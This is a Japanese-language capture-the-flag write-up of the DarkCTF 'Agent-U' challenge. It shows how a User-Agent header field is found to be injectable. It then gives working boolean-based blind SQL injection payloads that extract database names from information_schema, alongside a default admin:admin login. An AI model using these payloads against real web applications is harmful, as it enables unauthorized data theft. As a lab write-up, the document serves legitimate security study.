はまやんはまやんはまやん

hamayanhamayan's blog

Agent-U [DarkCTF]

Agent-U
Mr.Ghost
Agent U stole a database from my company but I don't know which one. Can u help me to find it?
http://agent.darkarmy.xyz/
flag format darkCTF{databasename}

調査

ソースコードを見てみよう。
<!-- TRY DEFAULT LOGIN admin:admin -->

admin:adminで入ると、以下のように応答が来る。

Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
GOODJOB!! HACKERS

User Agentが問題?
だが、どうしろとは言われていない。
答えはDB名の抜き取りで、SQLInjectionだと思うが…
UASQL文に入るのか?

admin:adminでUAに'を入れてみる。

Your User Agent is: '
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '162.158.7.141', 'admin')' at line 1

期待通りの結果が得られた。
', 'a', 'b') # -> これだとエラーはでない。
', 'a', null) # -> これだとColumn 'username' cannot be nullとでる。
これは使える。

Boolean-based Blind SQL Injection

長さを取得するときのUser-Agent
', 'a', if({md} <= (select DISTINCT length(TABLE_SCHEMA) from information_schema.tables limit 1,1), null, 'b')) #
i文字目を取ってくるときのときのUser-Agent
', 'a', if({md} <= (select DISTINCT ascii(substring(TABLE_SCHEMA,{i+1},1)) from information_schema.tables limit 1,1), null, 'b')) #

TABLE_SCHEMA
0: information_schema
1: ag3nt_u_1s_v3ry_t3l3nt3d
2: mysql

これですね。
darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}